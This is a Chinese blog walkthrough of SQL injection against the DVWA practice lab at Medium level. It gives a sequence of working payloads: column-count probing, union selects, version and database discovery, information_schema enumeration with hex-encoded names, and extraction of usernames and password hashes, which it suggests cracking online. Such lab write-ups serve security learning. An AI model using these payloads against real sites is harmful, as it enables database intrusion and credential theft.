Blind SQL Injection on DVWA(Medium Level)

Vulnerability: SQL Injection (Blind)与前面的Vulnerability: SQL Injection这两个页面的差别就在于有没有有用的错误信息或者我们已经习惯的反馈内容。

本文的终极任务是获得user和password。

1.简单的输入测试

输入2得到:Blind SQL Injection on DVWA(Medium Level)_第1张图片

输入2 or 1=1得到:Blind SQL Injection on DVWA(Medium Level)_第2张图片

输入 2' or '1'='1得到:Blind SQL Injection on DVWA(Medium Level)_第3张图片

以上说明了 $id = mysql_real_escape_string($id);过滤掉了所有的引号,没有错误生成说明错误被过滤掉了,这也是为什么medium比low难了。


2.获得这个查询的属性的数量

输入2 order by 1 #:Blind SQL Injection on DVWA(Medium Level)_第4张图片

输入2 order by 2 #:Blind SQL Injection on DVWA(Medium Level)_第5张图片

输入2 order by 3 #:Blind SQL Injection on DVWA(Medium Level)_第6张图片

说明这个查询有2个属性。


3.检查语法

输入2 union select 1,2 #:Blind SQL Injection on DVWA(Medium Level)_第7张图片


4.获得数据库的相关信息

输入2 and 1=0 union select null,user() #:Blind SQL Injection on DVWA(Medium Level)_第8张图片使用 and 1=0使前半句查询失效。


5.确定使用的是什么数据库以及它的版本

我们知道只有MySQL使用version_comment函数,若能得到它的返回值则说明数据库是MYSQL。

首先将version_comment的第一个字母与’5‘做比较,如果为’5‘则返回’1‘,否则返回’0‘,但不管怎么样,只要version_comment有返回就说明这个数据库是MySQL。

输入2 and 1=0 union select null,substring(@@version_comment,1,1)=5 #得到:Blind SQL Injection on DVWA(Medium Level)_第9张图片

说明数据库是MYSQL。

更简单的办法得到MySQL的版本:

输入2 and 1=0 union select null,version() #得到:Blind SQL Injection on DVWA(Medium Level)_第10张图片

还有另外一种更难的办法得到版本号——使用substring函数,一位一位的进行比较,对于’.'对应的十进制是46。在http://blog.csdn.net/youb11/article/details/45674605中有提到这个方法。具体如下:

2 and 1=0 union select null,substring(@@version,1,1)=5 #

2 and 1=0 union select null,ascii(substring(@@version,2,1))=46 #

2 and 1=0 union select null,substring(@@version,3,1)>5 #    用二分查找发确定每一位

······


6.获得当前数据库的名字

输入2 and 1=0 union select null,database() #得到:Blind SQL Injection on DVWA(Medium Level)_第11张图片


7.获得schema列表

输入2 and 1=0 union select null,table_schema from information_schema.tables #得到:Blind SQL Injection on DVWA(Medium Level)_第12张图片

确定“dvwa” schema对应于“dvwa”数据库。


8.获得与“dvwa” schema相关的表

输入2 and 1=0 union select null,table_name from information_schema.tables where table_schema=0x64767761 #:

table_schema后面不能接字符串只能接对应的ASCII的原因在http://blog.csdn.net/youb11/article/details/45696603有介绍。

Blind SQL Injection on DVWA(Medium Level)_第13张图片


9.获得表users的各列的名字

输入2 and 1=0 union select null,concat(table_name,0x0a,column_name) from information_schema.columns where table_name=0x7573657273  #:

Blind SQL Injection on DVWA(Medium Level)_第14张图片

从上面的输出中找到了user和password这两列


10.提取出用户名和密码

输入2 and 1=0 union select null,concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #:Blind SQL Injection on DVWA(Medium Level)_第15张图片

对于一些密码的哈希值可以在网上解密出来。


任务完成(づ ̄ 3 ̄)づ

你可能感兴趣的:(SQL,Injection学习笔记,DVWA)